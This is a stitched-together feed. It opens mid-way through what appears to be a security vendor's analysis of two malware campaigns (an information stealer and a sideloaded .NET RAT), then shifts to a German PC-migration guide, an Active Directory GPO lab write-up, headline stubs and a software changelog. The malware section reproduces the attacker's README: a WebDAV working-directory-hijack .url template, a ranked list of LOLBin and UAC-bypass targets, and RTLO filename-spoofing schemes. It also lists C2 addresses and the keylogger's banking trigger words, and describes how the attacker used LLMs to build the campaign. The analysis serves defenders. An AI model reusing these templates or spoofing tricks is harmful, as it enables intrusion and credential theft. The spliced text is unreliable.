The decrypted in-memory configuration exposed the payload’s feature set and version 4.4.3. It also contained the build tag 06x12x2026SantaEbash2, which matched toolkit timestamps from June 12, 2026.

Once running, the stealer targeted cryptocurrency assets, browser data, messaging sessions, and local application data. Its collection logic included around 20 desktop wallet clients and browser wallet extensions, saved browser usernames, passwords, cookies, session tokens, the Telegram tdata session database, Foxmail data, and a screenshot of the victim’s desktop.

The payload also included anti-analysis checks. The payload checked for the COR_PROFILER environment variable and called IsDebuggerPresent. If the malware detected that it was being monitored or debugged, it immediately called FailFast to kill the process. The stealer also delayed decrypting its watchlist and collection configuration until after a successful C2 handshake, preventing its full functionality from being revealed in isolated sandboxes. 

Collected data was exfiltrated to 77[.]110.127.205 (alias google.services.ug, certificate CN=Eglgyqnoa) over SslStream (TLS without SNI) and raw Socket.The stolen data was sent as a multipart HTTP POST request to /c2.

Based on the analyzed behavior, the payload functioned as an information stealer focused on credential, wallet, and session theft.

Case study 2: The "DlrtyGames" sideloading chain

While the ReportFinal lure used an Inno Setup installer to launch a fileless stealer, a second campaign directory on the server, DlrtyGames, showed a different delivery architecture. This chain was built to deploy a modular RAT through DLL sideloading, IDAT, process hollowing, and persistence.

The DlrtyGames chain began with a silent 7-Zip SFX dropper, DlrtyGames.exe. It extracted a benign, signed Ubisoft binary, Volt_Droid.exe, into the victim’s temporary directory alongside a trojanized dependency, discord-rpc.x64.dll.

⠀

Volt_Droid.exe used DLL sideloading to load discord-rpc.x64.dll. This decoded its configuration, resolved APIs by hash, and manually mapped profiler16.dll. The mapped profiler16.dll stage then read loader-pool.db, a PNG file whose encrypted modules were stored across IDAT chunks. After a 45-second sleep delay, it reassembled and decrypted the embedded content, set up persistence, performed COM auto-elevation through dllhost.exe, and prepared the final hollowing stage.

The final injection stage was handled by an x86 PIC shellcode blob carved from loader-pool.db at offset 0xb516a. That shellcode created signed host processes such as MegArray.exe or Crisp.exe in a suspended state, unmapped their original image, wrote the payload into the process, updated thread context, and resumed execution. The result was a modular .NET RAT running inside a signed host process.

The DlrtyGames payload was a modular RAT with plugins for keylogging, screenshots, window monitoring, and C2 communication. Its keylogger module used plaintext keyword triggers for payment, banking, credit, and cryptocurrency activity, including relaypayments.com, plaid, fiservapps, payoneer, google pay, coinbase, Zelle, paypal, link.com, amazonrelay, Exodus, Electrum, Bitcoin, monero, Seed Phrase, Seed, 12, FCU, Credit Union, Account Overview, Available Balance, Merchant, online access, debit, credit, cvv, card, settlement, fees, loans, bank, banking, finance, and invest. 

The RAT also targeted browser wallet-extension artifacts and Chrome user data, including cookies and saved login data.

The two chains used different payloads and C2 infrastructure. In case study one, the stealer exfiltrated to 77[.]110[.]127[.]205:56003, while in the case study two stealer chain communicated with 23[.]94[.]252[.]228:57666. Based on our observations, the final RAT payload in both chains was identified as .NET-based PureRAT.

GenAI adoption

Several artifacts make it clear the attacker certainly used LLMs to build and iterate this operation. The directory is packed with structured README files, neatly formatted lure-generation guides, detailed test writeups, and matrix-style outputs that look exactly like templated or generated content.

═══════════════════════════════════════════════════════════════════
  WORKING DIRECTORY HIJACKING — COMPREHENSIVE TEST KIT
  for Windows 11 24H2
═══════════════════════════════════════════════════════════════════

This kit contains 59 .url files targeting different Windows binaries
that POTENTIALLY have the same Working Directory hijacking issue as
CVE-2025-33053 (Stealth Falcon, iediagcmd.exe).

ALL .url files use this exact format (same as the real APT attack):
  [InternetShortcut]
  URL=C:\path\to\target.exe         <- legitimate binary
  WorkingDirectory=\\[REDACTED]@80\Downloads   <- WebDAV (triggers WebClient!)
  ShowCommand=7                     <- start minimized (hide alert windows)
  IconIndex=13                      <- (decoy icon)
  IconFile=msedge.exe               <- (decoy icon)

═══════════════════════════════════════════════════════════════════
HOW TO TEST (5 minutes)
═══════════════════════════════════════════════════════════════════

STEP 1: Upload ALL files from WEBDAV_PAYLOADS/ folder to:
        \\[REDACTED]\Downloads\
        (59 test files - each is 5KB MessageBox popup exe)

STEP 2: Copy I_LOLBIN_URLS/ folder to your Win11 24H2 machine

STEP 3: Double-click .url files one by one (or all of them in sequence)
        - If popup appears -> HIJACK WORKS! Read parent process name in popup.
        - If nothing happens / error -> doesn't work, move to next.

STEP 4: Tell me which I-numbers showed a popup. I'll integrate working
        ones as new methods in web-renamer.

═══════════════════════════════════════════════════════════════════
PRIORITY TESTING ORDER (most likely to work first)
═══════════════════════════════════════════════════════════════════

TIER 1 - CONFIRMED IN THE WILD:
  I01_iediagcmd.url           - CVE-2025-33053 (needs pre-June 2025 patch)
  I02_CustomShellHost.url     - CheckPoint research (may not exist on Server)

TIER 2 - .NET FRAMEWORK TOOLS (always installed if .NET 4.x present):
  I03_InstallUtil.url         - InstallUtilLib.dll search
  I04_RegAsm.url              - .NET registration
  I05_RegSvcs.url             - .NET services
  I06_CasPol.url              - .NET security policy
  I07_ngentask.url            - NGen native compile (calls ngen.exe!)
  I08_AddInUtil.url           - AddIn util (calls AddInProcess.exe!)
  I10_dfsvc.url               - ClickOnce service
  I15_csc.url                 - C# compiler (may call link.exe)
  I16_vbc.url                 - VB compiler

TIER 3 - WIN11 SYSTEM .NET TOOLS:
  I17_LbfoAdmin.url           - NIC teaming admin
  I19_UevAgentPolicyGenerator.url - UE-V agent (calls .ps1 files!)
  I20_UevAppMonitor.url       - UE-V monitor
  I23_AppVStreamingUX.url     - App-V streaming UI

TIER 4 - LOLBAS Execute-EXE binaries:
  I26_Pcwrun.url              - LOLBAS Execute(EXE)
  I28_WorkFolders.url         - LOLBAS Execute(EXE,Rename)
  I33_stordiag.url            - LOLBAS Execute(EXE) - calls systeminfo etc
  I36_Provlaunch.url          - LOLBAS Execute(CMD) - calls provtool.exe!

TIER 5 - UAC bypass binaries (worth testing):
  I49_fodhelper.url, I50_computerdefaults.url, I52_wsreset.url

═══════════════════════════════════════════════════════════════════
THE THEORY (so you understand WHY this works for some and not others)
═══════════════════════════════════════════════════════════════════

For the attack to succeed, the LOLBin must:
  1. Be a .NET application, OR call ShellExecute/CreateProcess with bare
     name (no full path).
  2. Spawn a child process by NAME (e.g. "ipconfig.exe") not by full path
     (e.g. "C:\Windows\System32\ipconfig.exe").
  3. Be runnable without command-line args.

If ANY of these is false, the hijack fails. Microsoft has been patching
specific binaries (iediagcmd.exe in June 2025) but the general pattern
remains. New vulnerable binaries are discovered regularly.

═══════════════════════════════════════════════════════════════════
WHAT THE POPUP TELLS YOU
═══════════════════════════════════════════════════════════════════

When hijack works, you'll see:
  TEST OK - Working Directory Hijack SUCCESS

  Executed as: route.exe                              <- which name was hijacked
  Full path: \\[REDACTED]@80\Downloads\route.exe    <- ran from WebDAV!
  Working dir: \\[REDACTED]@80\Downloads
  Parent process: iediagcmd                           <- which LOLBin spawned it

═══════════════════════════════════════════════════════════════════
NOTES
═══════════════════════════════════════════════════════════════════

* Some I-files may target binaries that DON'T EXIST on your Win11 24H2
  (e.g. I02_CustomShellHost was missing on my test Server 2025).
  These will silently fail - just move on.

* Some I-files may launch the GUI tool (msconfig, dxdiag, etc.) WITHOUT
  triggering any hijack. That's fine - if no popup appears, no hijack.

* See _MAPPING.csv for full mapping of each .url to its target binary
  and expected child process names.

Figure 7: Context of README.md found in the exposed directory.

The attacker left a build-time artifact inside the generate_test_lnk.ps1 output. The output directory is hardcoded in the $outDir variable and exposes part of the attacker’s local project tree:

⠀
It is therefore apparent that the entire campaign was likely created using the CodeRRR project with the help of LLM to assist with code generation and campaign development.

Another file we found in the directory was Simba_Service_Presentation.htm, which appeared to document an attacker-controlled WebDAV delivery/admin panel. The panel also seems to have been generated with LLM assistance, based on its presentation-style formatting, API-documentation structure, emojis, and implementation details.

⠀

⠀

The most telling artifact was a “comprehensive test kit” that expanded the single CVE-2025-33053 technique into 59 .url files targeting different Windows binaries, such as .NET tools (InstallUtil, RegAsm, RegSvcs, ngentask), system utilities, LOLBAS execute-EXE binaries, and even UAC-bypass candidates. Each file was paired with a stated theory of why the working-directory hijack should work and a priority order for testing.

The directory was saturated with structured README files, neatly formatted lure-generation guides, matrix-style test write-ups, emoji-heavy admin-panel documentation, and a _MAPPING.csv tying each test file to its target binary and expected child process. The consistency, verbosity, and sheer volume of organized artifacts led us to conclude that the attacker likely used an LLM-assisted workflow to do much of the heavy lifting around documentation, structure, and iteration.

# LNK Full Matrix Test — WebDAV Open Methods + Deception Techniques

**Location:** `C:\Users\Administrator\Desktop\LNK-Full-Matrix-Test`  
**Total files:** 60  
**Generated:** 2026-05-30

---

## Overview / Обзор

This folder contains a complete test matrix of **60 LNK shortcut files** combining all available WebDAV open methods with all LNK Deception Techniques supported by the Web-renamer project.

В этой папке находится полная тестовая матрица из **60 LNK-ярлыков**, объединяющих все доступные WebDAV-методы открытия со всеми техниками обмана LNK, поддерживаемыми проектом Web-renamer.

---

## Naming Scheme / Схема именования

All files follow the pattern:  
Все файлы следуют шаблону:

```
HyperPackSetup.<method>.<trick>.<spoof>.lnk
```

- **`HyperPackSetup`** — base filename / базовое имя файла
- **`<method>`** — WebDAV open method (e.g. `curl-http-temp-run`, `direct`, `cmd-start`) / метод открытия WebDAV
- **`<trick>`** — LNK deception technique (`standard`, `SPOOFEXE_HIDEARGS_DISABLETARGET`, etc.) / техника обмана LNK
- **`<spoof>`** — RTLO + homoglyph extension spoof (`‮ƒｄᴘ`) — visually appears as `.pdf` / спуф расширения через RTLO + гомоглифы — визуально выглядит как `.pdf`
- **`.lnk`** — real extension / реальное расширение

> The spoof is applied **only to the extension** at the end, so the method and trick names remain clearly readable.  
> Спуф применяется **только к расширению** в конце имени, поэтому названия методов и техник остаются читаемыми.
...

Figure 11: This is a snippet from another README.md. The full README is available on Rapid7 Labs' Github. The text is original, and the translation to Russian was not added by us.

OPSEC is hard 

As we mentioned previously, one of the artifacts we found in the open directory was a presentation file documenting a WebDAV delivery/admin panel called “Simba Service.”

⠀

The panel was built to manage a read-only WebDAV file share and track delivery activity in real time, including file opens, visitor IPs, geolocation, Windows versions, traffic, errors, folder-level conversion, and access events.

The actor not only used the same server for testing and staging files, but also recklessly left behind internal documentation for the backend used to manage and track delivery. The presentation reads like an internal build document, walking through the architecture, tech stack, API endpoints, authentication, logging, analytics, bug fixes, deployment setup, and panel access flow. It also included the panel IP and port, along with credentials.

Additionally, the file also looked like it was generated with an LLM. Its structured project overview, emoji-heavy sections, API-documentation format, and implementation details stood out. Basically, in some subfolders you can find LLM-generated READMEs with lures and malicious executables, while in another subfolder there is an admin panel with a hardcoded IP, port, and credentials.

We are intentionally withholding live access details, credentials, IP addresses, ports, and panel locations.

Delivery panel overview

The attacker appeared to have deployed the panel as-is, without changing the default password or port. The panel included several operator-facing sections: Review, Folders, Files, Visitors, Geography, Traffic/Server, Notes, File Manager, Users, Link Builder, Safety, and Documentation.

⠀

The portal was capable of detecting scanners and bots by analyzing behavioral indicators, including requests for non-existent resources, HTTP 404 responses, WebDAV probes, and directory enumeration attempts. Based on these observations, it assigned a risk score to each IP address and allowed the operator to manually block flagged hosts. Portal records indicate that the blocking configuration was modified at least 3 times during the campaign (June 5, June 10, and June 20).

We analyzed telemetry from the WebDAV delivery service over an approximately 5.5-day window (June 20–26, 2026 UTC), which recorded 77,098 requests from 3,892 unique client IPs across 101 countries, with roughly 45.9 GB transferred.

The activity was short-lived and high-volume, peaking between June 21 and June 24 before dropping sharply. Based on this data we can assume that it was a targeted delivery campaign.

Most of the launch activity came from one specific lure: a CURP-themed fake PDF report under the /Downloads/CURP/ReportFinal.rcs.pdf (RTLO-spoofed .scr executable.) Out of 2,441 observed executable launch events, 2,384, or approximately 97.7%, were tied to this lure. It accounted for approximately 14.6 GB of traffic and was accessed by 1,869 unique client IPs.

The WebDAV traffic was heavily concentrated in Mexico. Mexico generated 63,622 requests, representing 82.5% of all traffic, and 2,365 launch events, or approximately 96.9% of all observed launches. The next largest sources of traffic, including the United States and Germany, produced far fewer launch events and appeared more consistent with scanning, research, or automated retrieval.

Table 3: Geographic distribution of WebDAV delivery activity.

Mexico was not only the largest source of traffic, but also the source of nearly all observed launch activity. Within Mexico, the activity was geographically broad, spanning hundreds of cities rather than clustering around a single locality. The top five Mexican cities accounted for approximately 27.4% of Mexican launch events, with Mexico City alone accounting for approximately 15.7%.

Hourly requests to the WebDAV delivery service also supported the assessment that much of the traffic came from real user interaction rather than only automated internet scanners. Traffic peaked between 16:00 and 19:00 UTC, which corresponds to working hours in central Mexico.

By launch events, we mean cases where the WebDAV panel showed that a client opened or requested an executable file in a way that looked like an attempted run, such as a GET request for an .scr or .exe file from the delivery share. This does not mean we confirmed malware execution on the endpoint. It means the delivery infrastructure saw the file being accessed or invoked.

Protocol behavior

The HTTP methods and status codes show how clients interacted with the WebDAV delivery service. PROPFIND requests and 207 responses indicate directory browsing, which is typical when Windows Explorer accesses a remote WebDAV location. GET requests and 200 responses show file retrieval, including executable files opened or requested from the share.

Table 4: HTTP methods observed in WebDAV delivery traffic.

Table 5: HTTP status codes observed in WebDAV delivery traffic.

MITRE ATT&CK techniques

Indicators of compromise (IOCs)

CURP campaign

Phishing page: hxxps://gobf[.]mx

WebDav server: onedrive[.]cv

ReportFinal.<RLO>.scr SHA256 04A8018191F2E9E76072D072A933371D9D669A42DE2B2A087541CD3A653B0BA7

C2: 77.110.127.205 ports 56001-56003 / 57666 / 57777 / 57888

Domain: google.services[.]ug

Campaign tag:06x12x2026SantaEbash2 (v4.4.3)

Schedule tasks: brokerhost, net_queue_32

Staging paths:

%TEMP%\is-XXXXX.tmp\Fo-Binary.exe

%AppData%\Roaming\inttracer_i686_prod\

C:\ProgramData\inttracer_i686_prod\

DlrtyGames campaign

C2: 23[.]94[.]252[.]228:57666

JA3: fc54e0d16d9764783542f0146a98b300

DlrtyGames.exe

SHA256: e8be17a7fbef48b45f1e958b3ae5ebdfcad58808969982c431a905eefcae5268

discord-rpc.x64.dll

SHA256: 449d1121fa275879af22a20407aa7253ac750ac8fa7ff5691101752600d645df

profiler16.dll

SHA256: a88f5ee748e60f889d046718bfe3ddcf1c5f3cba2001cad587e8953a76bf7aa9

loader-pool.db

SHA256: 51a02eccdcae0483c7cbb9796738eee6c2a13b740d30e5417cda09bf418ea93b

.NET RAT

SHA256: 82e67735cf822db8f2f759e742e5bf8c54fdbd01a4170619b9e0916e1b3f5923

Staging paths:

C:\ProgramData\basenet\

%APPDATA%\basenet\

Persistence:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW

\com_app_bg_i686

\messenger_component_v8_32_rc

More indicators of compromise can be found on Rapid7’s GitHub.

Rapid7 customers

Customers using Rapid7’s Intelligence Hub gain direct access to all IOCs from this campaign, including any future indicators as they are identified.

Conclusion

The operator’s OPSEC failed in the best way possible for defenders. Thanks to a completely exposed server, we managed to pull down their entire operational toolkit: staged payloads, lure templates, testing files, builder notes, and active campaign artifacts. This sloppiness effectively offered a rare, transparent view of their end-to-end delivery pipeline rather than just the final malware it served.

The real impact shows up in speed and scale. The actor generated lure variants in bulk, tested them systematically, documented results, and refined delivery techniques in short cycles. The artifacts also suggested that attackers used LLM for rapid lure generation and development since their cPanel was vibecoded. 

While the fact that attackers are adopting genAI in their workflows is nothing new, looking past the novelty reveals a much more practical shift in adversary operations.

The takeaway isn’t that “AI wrote the malware.” It’s that the attacker used LLMs to operate more like a modern software product team. The use of genAI enables them to prototype, test, and scale their delivery pipeline at a fast pace.

Dieser Beitrag Hacker löscht Rumäniens gesamte Landregisterdatenbank – Stillstand im Immobilienmarkt erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Dieser Beitrag SleeperGem: Drei bösartige RubyGems manipulieren Entwicklerrechner und Keys erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Ein neuer PC ist schnell gekauft – der eigentliche Aufwand beginnt danach. Programme, Dateien, Benutzerkonten und Einstellungen sollen möglichst vollständig vom alten Rechner mitkommen. Wer alles von Hand einrichtet, verliert schnell einen ganzen Tag.

Umzugssoftware nimmt Ihnen diese Arbeit ab und überträgt viele Inhalte in einem Durchgang. Das lohnt sich besonders, wenn der alte Windows-10-PC ersetzt wird: Zwar gibt es über erweiterte Sicherheitsupdates noch Aufschub bis 2027, langfristig führt beim Neukauf aber meist Windows 11 den Weg vor. Wir zeigen, welche Wege es für den PC-Umzug gibt und worauf Sie achten sollten.

Welche Wege es für den Datenumzug gibt

Für den Wechsel auf einen neuen PC haben Sie drei Möglichkeiten. Spezialisierte Umzugssoftware überträgt Programme, Benutzerkonten und Dateien in einem Rutsch – der bequemste Weg, wenn installierte Anwendungen mitkommen sollen.

PROMOTION

Ihr Bildschirm ist zu klein? Dieser 17-Zöller bietet Platz für alles

Das HP OmniBook 7 überzeugt mit einem großzügigen 17,3 Zoll FHD-Touchdisplay für Übersicht bei Office-Arbeit, Multimedia und leichtem Gaming. Der Intel® Core™ Ultra 7 Prozessor mit 32 GB RAM meistert anspruchsvolle Aufgaben, die NVIDIA® RTX™ 4050 sorgt für zusätzliche Grafikleistung bei Kreativ-Workflows. Die beleuchtete Tastatur mit Nummernblock erleichtert die Dateneingabe, Fast Charge bringt den Akku schnell wieder auf 50 %.

Erfahren Sie mehr über das HP OmniBook 7

Die Bordmittel von Windows decken primär persönliche Dateien und ausgewählte Einstellungen ab: Über ein Microsoft-Konto und OneDrive landen synchronisierte Ordner, einige Windows-Einstellungen sowie Store-Apps auf dem neuen Gerät. Klassische Desktop-Programme müssen Sie damit jedoch neu installieren.

Bleibt der manuelle Umzug per externer Festplatte oder NAS. Diese Methode ist günstig und transparent, aber zeitraubend. Sie kopieren Dokumente, Bilder, Downloads, Browserprofile und Projektordner selbst und installieren anschließend jede Anwendung neu. Dieser Ratgeber stellt deshalb die komfortablere Variante mit Umzugssoftware in den Mittelpunkt und vergleicht zwei verbreitete Programme.

Windows-Umzug mit PCmover Professional

PCmover Professional von Laplink zählt zu den bekanntesten Umzugsprogrammen für Windows. Es kopiert Anwendungen, Daten, Benutzerkonten und Einstellungen vom alten Windows-PC auf den neuen Rechner mit Windows 11. Die Software kostet ab 34,95 Euro, eine reine Testversion reicht in der Regel nicht für einen vollständigen Programmumzug.

Christoph Hoffmann

Installieren Sie PCmover zunächst auf dem alten PC, also der Quelle. Nach dem Start ist die Übertragung zwischen zwei Rechnern voreingestellt. Unter „Erweiterte Optionen“ stehen zusätzlich der Umzug per Laufwerk und per Imagedatei bereit. Ein Klick auf „Übertragung zwischen PCs“ startet den Vorgang. Vor dem Fortfahren tragen Sie Name, E-Mail-Adresse und die nach dem Kauf erhaltene Seriennummer ein.

Installieren und starten Sie das Programm danach auf dem Ziel-PC mit Windows 11. Beide Rechner müssen sich im selben Netzwerk befinden. Ein spezielles Kabel ist nicht nötig, wenn beide PCs per LAN oder stabilem WLAN verbunden sind. Für große Datenmengen empfiehlt sich Gigabit-LAN, weil der Transfer darüber deutlich zuverlässiger und schneller läuft als über ein schwaches Funknetz.

PCmover sucht den Ziel-PC und stellt die Verbindung her. Anschließend zeigt die Software beide Rechner nebeneinander an. Prüfen Sie an dieser Stelle unbedingt die Übertragungsrichtung: Quelle muss der alte PC sein, Ziel der neue Windows-11-Rechner. Bei Bedarf lässt sich die Richtung umkehren.

Ein Klick auf „PC analysieren“ führt zur Auswahl. Hier stehen mehrere Optionen bereit, von der empfohlenen Standardübertragung bis zur manuellen Auswahl. Mit der Standardoption wird der neue PC weitgehend zum Abbild des alten – etwa mit Windows 11 statt Windows 10.

Über „Weiter“ erhalten Sie eine Zusammenfassung in mehreren Kategorien. Kontrollieren Sie vordergründig den Punkt „Anwendungen“: Standardmäßig sind alle übertragbaren Programme markiert; einzelne können abgewählt werden.

Wie lange der Umzug dauert, hängt von der Datenmenge, dem Netzwerktempo und der Anzahl der Programme ab. Bei einem gut gefüllten PC kommen schnell mehrere Stunden zusammen. Nach Abschluss meldet das Programm den Erfolg. Starten Sie den neuen PC neu, damit alle Änderungen greifen.

Die Alternative: EaseUS Todo PCTrans

Wer nicht zwingend zu PCmover greifen möchte, findet in EaseUS Todo PCTrans eine verbreitete Alternative. Das Programm überträgt ebenfalls Programme, Dateien, Benutzerkonten und Einstellungen zwischen zwei Rechnern. Der Umzug von Windows 10 auf Windows 11 zählt zu den typischen Einsatzszenarien.

Der wichtigste Unterschied liegt beim Einstieg. EaseUS Todo PCTrans gibt es als Free-Version, die nur fünf Programme und eine zwei Gigabyte Daten überträgt. Das genügt zum Ausprobieren oder für sehr kleine Umzüge. Wer viele Programme, große Benutzerordner oder mehrere Konten übertragen will, benötigt die kostenpflichtige Pro-Version ab 40 Euro.

EaseUS

Die Bedienung folgt demselben Grundmuster wie bei PCmover. Sie installieren das Programm auf beiden Rechnern und legen über „PC zu PC“ die Richtung fest: alter PC als Quelle, neuer PC als Ziel. Beide Geräte müssen sich im selben Netzwerk befinden. Danach wählen Sie aus, welche Programme, Dateien und Konten mitkommen, und starten die Übertragung.

Neben dem Netzwerkweg beherrscht EaseUS Todo PCTrans auch den Umzug per Imagedatei auf einem externen Datenträger. Das ist praktisch, wenn beide PCs nicht gleichzeitig verfügbar sind oder der alte Rechner nur noch eingeschränkt läuft. Der Transfer erfolgt lokal, nicht über fremde Cloud-Server.

PCmover oder EaseUS – was passt zu wem?

Beide Programme verfolgen denselben Zweck, unterscheiden sich aber bei Preis, Bedienlogik und Zielgruppe. EaseUS Todo PCTrans ist attraktiv, wenn Sie zunächst kostenlos testen oder nur wenige Programme übertragen möchten.

Für einen kompletten Umzug mit vielen Anwendungen und großen Datenmengen führt dagegen auch hier meist kein Weg an einer kostenpflichtigen Version vorbei.

PCmover Professional richtet sich stärker an Anwender, die einen möglichst vollständigen und kontrollierten Wechsel wünschen. Das Programm ist besonders interessant, wenn der neue Rechner dem alten möglichst stark ähneln soll und viele installierte Anwendungen mitkommen müssen.

Für einfache Fälle reicht oft die Kombination aus OneDrive, externer Festplatte und Neuinstallation der wichtigsten Programme. Für komplexe Systeme mit vielen Anwendungen, mehreren Benutzerkonten und gewachsenen Ordnerstrukturen spart Umzugssoftware dagegen viel Zeit.

Tipp: Mailkonten auf den neuen PC umziehen

Eine Windows-Neuinstallation oder ein neuer PC sind ein guter Anlass, auch das Mailprogramm zu überdenken – etwa eM Client, Thunderbird oder Outlook. Am einfachsten gelingt der Umzug, wenn Ihre Mailkonten bereits per IMAP eingerichtet sind. Bei IMAP bleiben die Nachrichten auf dem Server Ihres Mailproviders gespeichert und werden nur mit dem jeweiligen Gerät synchronisiert.

Der Vorteil: Sie greifen mit PC, Notebook, Smartphone oder Webmailer auf denselben Mailbestand zu. Für den Umzug richten Sie das Konto im Mailprogramm auf dem neuen Windows-PC einfach erneut ein. Dazu starten Sie den Einrichtungsassistenten, geben E-Mail-Adresse und Passwort ein und warten anschließend, bis das Programm alle Nachrichten synchronisiert hat. Je nach Postfachgröße und Internetverbindung kann das einige Zeit dauern.

Christoph Hoffmann

Aufwendiger wird es, wenn Sie Ihre Mails bisher per POP3 abrufen. In diesem Fall liegen viele Nachrichten oft nur lokal auf dem alten Rechner. Dann sollten Sie das Postfach vor dem Wechsel sichern. Dafür eignet sich etwa MailStore Home, das für die private Nutzung kostenlos ist. Das Programm archiviert lokale Mailbestände und kann sie anschließend wieder exportieren.

Erstellen Sie zunächst auf dem alten PC mit MailStore Home ein Backup Ihres POP3-Postfachs und sichern Sie dieses auf einem externen Datenträger. Auf dem neuen PC installieren Sie Ihr Mailprogramm sowie MailStore Home. Dort laden Sie die Sicherung und exportieren die Nachrichten über „E-Mails exportieren“ in ein IMAP-Postfach.

Damit wandern die bisher nur lokal gespeicherten Mails auf den Server Ihres Providers. Anschließend stehen sie nicht nur auf dem neuen Windows-PC, sondern auch auf Smartphone, Tablet und im Webmailer synchron zur Verfügung.

Der Wechsel von POP3 zu IMAP lohnt sich daher besonders, wenn Sie Ihre E-Mails künftig auf mehreren Geräten nutzen möchten.

Vor dem Umzug: Das sollten Sie beachten

Unabhängig vom gewählten Programm sollten Sie vorab ein vollständiges Backup Ihrer wichtigen Daten auf einem externen Datenträger anlegen. Geht beim Transfer etwas schief, haben Sie eine unabhängige Kopie zur Hand.

Notieren Sie außerdem Lizenzschlüssel kostenpflichtiger Programme. Kostenlose Tools wie ProduKey können gespeicherte Produktschlüssel auslesen, ersetzen aber keine vollständige Lizenzverwaltung – prüfen Sie daher zusätzlich die Kundenkonten der jeweiligen Softwareanbieter.

Manche Anwendungen verlangen nach dem Umzug eine erneute Aktivierung. Bei Programmen mit Gerätebindung kann es nötig sein, die Lizenz auf dem alten PC vorher zu deaktivieren oder im Kundenkonto freizugeben.

Bei Microsoft Office hängt der Aufwand von der Lizenz ab. Ein Microsoft-365-Abo oder eine an das Microsoft-Konto gebundene Office-Lizenz richten Sie auf dem neuen PC meist einfach erneut über das Konto ein. Ältere Einzelplatzlizenzen ohne Kontobindung können komplizierter sein.

Christoph Hoffmann

Prüfen Sie überdies, ob alle wichtigen Programme unter Windows 11 laufen. Sehr alte Tools, Spezialsoftware, Treiberpakete, Scanner-Software oder ältere VPN-Clients können Probleme verursachen. Hier ist eine Neuinstallation oft sauberer als eine blinde Übernahme.

Wichtiger Vorab-Tipp: Deinstallieren Sie auf dem alten PC vor dem Umzug alte Druckertreiber oder tief ins System eingreifende Software (wie Antivirenprogramme von Drittanbietern). Solche Systemkomponenten werden von Umzugsprogrammen manchmal fälschlicherweise mitkopiert und können das neue Windows 11-System instabil machen.

Planen Sie für einen gut gefüllten PC genügend Zeit ein. Je nach Datenmenge dauert die Übertragung von einer bis zu mehreren Stunden.

Nach dem Umzug sollten Sie Windows Update ausführen, Programme starten, Drucker prüfen, Cloud-Synchronisierung kontrollieren und wichtige Dateien stichprobenartig öffnen.

The post EU Orders Google to Open Search Data and Android Features to Competitors Amid Privacy, Security Concerns appeared first on PrivacySavvy.

Group Policy Objects (GPOs) are one of the most powerful features in Active Directory. They allow administrators to manage settings across computers and users.

But if the wrong user has control over a GPO, it can become an easy privilege escalation path.

In this lab, I’ll use BloodHound to identify a dangerous GPO permission and then show how to fix it.

Lab Setup

• Domain: LAB.LOCAL
• Domain Controller: 192.168.56.104
• Attacker: Kali Linux
• User: bob

Step 1 — Collect Active Directory Data

First, I collected information from Active Directory using BloodHound.py.

bloodhound-python -u bob -p 'password@123' -d lab.local -ns 192.168.56.104 -c All --zip

BloodHound successfully collected:

• 8 Users
• 55 Groups
• 3 GPOs
• 2 OUs
• 1 Computer

Step 2 — Import into BloodHound

Next, I uploaded the generated ZIP file into BloodHound Community Edition.

BloodHound maps relationships between users, groups, computers, OUs, and GPOs, making it much easier to spot privilege escalation paths.

Step 3 — Finding the Misconfiguration

BloodHound showed that Bob had WriteDacl, WriteOwner, and GenericWrite permissions over the Employees Policy GPO.

These permissions are dangerous because they allow a user to modify who controls the GPO or change its configuration.

Why Is This Dangerous?

If an attacker can edit a GPO linked to an Organizational Unit (OU), they may be able to:

• Execute scripts on domain computers
• Deploy scheduled tasks
• Add users to local Administrators
• Push malicious registry changes
• Gain higher privileges across the domain

A single misconfigured GPO can impact many systems at once.

Step 4 — Fixing the Issue

On the Domain Controller:

Group Policy Management
        ↓
Employees Policy
        ↓
Delegation

Review who has permissions on the GPO.

Remove unnecessary permissions such as:

• GenericWrite
• misconfiguredWriteDacl
• WriteOwner

Only trusted administrators should have these rights.

Verify the Fix

Run BloodHound again after updating the permissions.

bloodhound-python -u bob -p 'password@123' -d lab.local -ns 192.168.56.104 -c All --zip

Re-import the ZIP into BloodHound.

The dangerous permission edges should no longer appear for Bob.

Key Takeaways

1.Regularly audit GPO permissions.

2. Use the principle of least privilege.

3. Review BloodHound findings periodically.

4. Remove unnecessary GenericWrite, WriteDacl, and WriteOwner permissions.

Disclaimer: The techniques demonstrated in this article were performed in a private Active Directory lab for learning purposes. Always obtain proper authorization before testing any production environment.

— Written by

Aruvasaga Chithan A

Ethical Hacker & Cyber Security Researcher.

Thanks for reading — your support keeps me writing.
See you in the next article…

Linkedin.

How I Abused a Group Policy Object (GPO) in Active Directory (And How to Fix It) was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

The post Windows 11 Secure Boot certificates have expired, and Microsoft says what to do next appeared first on Windows Latest

The post New Windows LegacyHive 0-Day Vulnerability Allows Hackers to Gain Admin Access appeared first on Cyber Security News.

Read more →

The post LegacyHive Windows Zero-Day Lets Attackers Hijack Administrator Registry Hives appeared first on IT Security News.

The post LegacyHive Windows Zero-Day Lets Attackers Hijack Administrator Registry Hives appeared first on Cyber Security News.

The post LegacyHive Windows Zero-Day Lets Attackers Hijack Administrator Registry Hives appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

• Type the gradle, swift, and pre_commit ecosystems by @JamieMagee in #15534
• Default cooldown to 3 days when default-days is not specified (behind a feature flag) by @robaiken with @Copilot in #15344
• Use shared base cooldown in git_submodules by @robaiken in #15537
• [Update graph] Avoid PathDependenciesNotReachable killing the whole job by @brrygrdn in #15522
• [Update Graph] Ensure that txt/in pairs are included properly in layers when working out references by @brrygrdn in #15581
• build(deps): bump opentofu to 1.12.1 by @RinseV in #15231
• Type the Sentry before_send processors by @JamieMagee in #15569
• Clear T.untyped from four strong updater files by @JamieMagee in #15570
• feat(opentofu): use registry API for multi-platform lockfile hashes by @diofeher in #15296
• julia: various fixes by @IanButterworth in #15549
• Type git_metadata_fetcher's git responses by @JamieMagee in #15572
• pre-commit: add regression tests for prerelease version filtering by @v-HaripriyaC in #15542
• add test ensuring duplicate PRs aren't submitted in security jobs by @brettfo in #15584
• Clear T.untyped from already-strong ecosystem files by @JamieMagee in #15573
• Update branch name case values to align with schema accepted values by @AbhishekBhaskar in #15592
• julia: fix TypeError when a cooldown is configured by @IanButterworth in #15591
• Fix codespell typo in updater job spec by @thavaahariharangit with @Copilot in #15599
